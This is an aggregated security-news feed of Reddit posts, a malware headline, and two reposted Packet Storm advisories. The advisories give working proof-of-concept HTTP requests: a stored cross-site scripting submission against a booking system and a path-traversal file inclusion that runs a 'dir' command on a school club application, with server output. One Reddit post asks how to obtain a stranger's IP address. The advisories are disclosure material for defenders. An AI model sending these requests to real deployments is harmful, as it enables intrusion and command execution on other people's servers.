https://external-preview.redd.it/0Vqxo1abqiZZbB9cMpV6JY18hNqrGR36LSHO5J9udKM.jpg?width=640&crop=smart&auto=webp&s=c09f8b9ffa7e84007f2474dd90f1e608b81409fe submitted by /u/kasitacambro
[link] [comments]

Dark Reading: Attacks/Breaches
Google Removes Dangerous Banking Malware From Play Store

SharkBot was hidden in apps masquerading as antivirus tools.

Looking for career advise. IT Audit to Pen Testing
https://www.reddit.com/r/Pentesting/comments/tzh9vs/looking_for_career_advise_it_audit_to_pen_testing/

<!-- SC_OFF -->I stated my career as an IT Auditor. Then I transitioned into an IAM implementation role within a Big4 accounting firm. So the issue is IT Audit was horrendous and soul sucking. However, IAM implementation was better but still based on the general concept of Identity and still felt to me too close to IT Audit and forces me to work IAM for the rest of my career. I have been pondering a switch to Pen Testing. Currently studying for my CISSP, I have a CISA. I might not pass the CISSP but it’s certainly valuable knowledge. Anyone make this switch? Is this a terrible idea? Looking for a more interesting hands on job and hopefully less configuration and client interaction. <!-- SC_ON --> submitted by /u/Anonymous_Miata (https://www.reddit.com/user/Anonymous_Miata)
[link] (https://www.reddit.com/r/Pentesting/comments/tzh9vs/looking_for_career_advise_it_audit_to_pen_testing/) [comments] (https://www.reddit.com/r/Pentesting/comments/tzh9vs/looking_for_career_advise_it_audit_to_pen_testing/)

Hacking on Medium
#PwnItFridays hackthebox #StartingPoint Dancing

https://cdn-images-1.medium.com/max/1200/1*rVBAZsCYXDfUkYtSwKKqog.png
Another day, another challenge.

Continue reading on Medium »

Interacting with Protected Docker Registry
https://www.reddit.com/r/redteamsec/comments/tzkins/interacting_with_protected_docker_registry/

submitted by /u/tbhaxor (https://www.reddit.com/user/tbhaxor)
[link] (https://tbhaxor.com/interacting-protected-docker-registry/) [comments] (https://www.reddit.com/r/redteamsec/comments/tzkins/interacting_with_protected_docker_registry/)

hacking: security in practice
I've created a system to demonstrate a new type of DRM

My objective is to provide a way for people to distribute and get paid for their content without being dependent on a third party.

I have a demonstration of this system which you can read about here:

https://coininvaders.com - includes instruction about how to get a free copy from me

I also have a whitepaper discussing the technology:

https://dxchange.org

I'm looking for ideas about what to do with this system.

submitted by /u/cryptocomicon
[link] [comments]

hacking: security in practice
Can I use openvpn over tor?

I am just wondering, because almost all tor exit nodes are known and blocked, Can I use a account less VPN connection to get access and route the VPN through tor so that the VPN provider also won't get my IP?

If I use firewall to block non-tor traffic will I become anonymous completely?

submitted by /u/Pranav__472
[link] [comments]

hacking: security in practice
Group

Hello! Im currently in a small group looking for people to join!

We are not master haxors and its just a fun small group to hangout in share knowledge and help eachother grow.

We are going to be using guided (a alternative to discord) for non private messages and matrix for private messages If you would like to apply sign up to join check the comments for the link!

submitted by /u/YAROBONZ-
[link] [comments]

hacking: security in practice
Any way I can rip someone's IP?

I know grabify is an option, but I don't wanna go through the process of making an entire fake link just so the person I send it to doesn't click on it.

submitted by /u/justtheskates
[link] [comments]

Exploit Collector
Online Sports Complex Booking System 1.0 Cross Site Scripting

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
Online Sports Complex Booking System version 1.0 suffers from a cross site scripting vulnerability.

MD5 | 1b911b30c293b92591ddd98135821dd4

Download
Title: Online Sports Complex Booking System 1.0 XSS
Author: Zllggggg
Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20XSS%20loophole.md
Tested on: Windows, MySQL, Apache

Description:

When registering users at the front desk, when we fill in the information,
we use burpsuite to catch the data packet,After obtaining the data packet,
modify the email parameter to then send the
packet,Then log in to the background with the administrator account ,Click
registered clients to trigger the pop-up window

Data packet
POST /scbs/classes/Users.php?f=save_client HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------289647566033806702832762971625
Content-Length: 1284
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/register.php
Cookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="id"

1
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="firstname"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="middlename"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="lastname"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="gender"

Male
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="contact"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="address"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="email"
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="password"

123
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------289647566033806702832762971625--

Source:packetstormsecurity.com

Exploit Collector
School Club Application System 1.0 Local File Inclusion

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
School Club Application System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | 661b7b8b1918c2222247d8d75b004ef8

Download
# Title: School Club Application System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 08.04.2022
# Vendor: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once

```
<?php
require_once('config.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
$page_name = explode("/",$page)[count(explode("/",$page)) -1];
?>
```

[+] Payload GET
```
GET /scas/?page=../../0day&515=dir HTTP/1.1
Host: 0day.gov
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=edh1ho9c9skog6v2ns0n0j3f2k
Connection: close
```
#Status: CRITICAL

#Response
```
HTTP/1.1 200 OK
Date: Fri, 08 Apr 2022 04:05:58 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13563
.. .. 0day Page


Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\xampp\htdocs\scas

04/08/2022 06:27 AM .
04/08/2022 06:27 AM ..
03/19/2021 01:17 PM 225 .htaccess
04/07/2022 10:03 AM 2,115 about.html
03/30/2022 04:31 PM 220 about.php
04/07/2022 03:56 PM admin
04/08/2022 06:27 AM assets
03/29/2022 04:17 PM classes
04/07/2022 03:20 PM clubs
04/07/2022 04:33 PM club_admin
04/07/2022 02:39 PM club_contents
03/30/2022 10:03 AM 1,297 config.php
04/07/2022 05:13 PM database
03/30/2022 04:31 PM 256 home.php
03/29/2022 10:24 AM includes
04/07/2022 03:18 PM 3,010 index.php
04/07/2022 09:35 AM 647 initialize.php
04/07/2022 08:18 AM uploads
04/07/2022 10:03 AM 1,842 welcome.html
8 File(s) 9,612 bytes
11 Dir(s) 81,520,218,112 bytes free
```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/3MbzZuQ.png
https://i.imgur.com/mqXb1Mc.png
Source:packetstormsecurity.com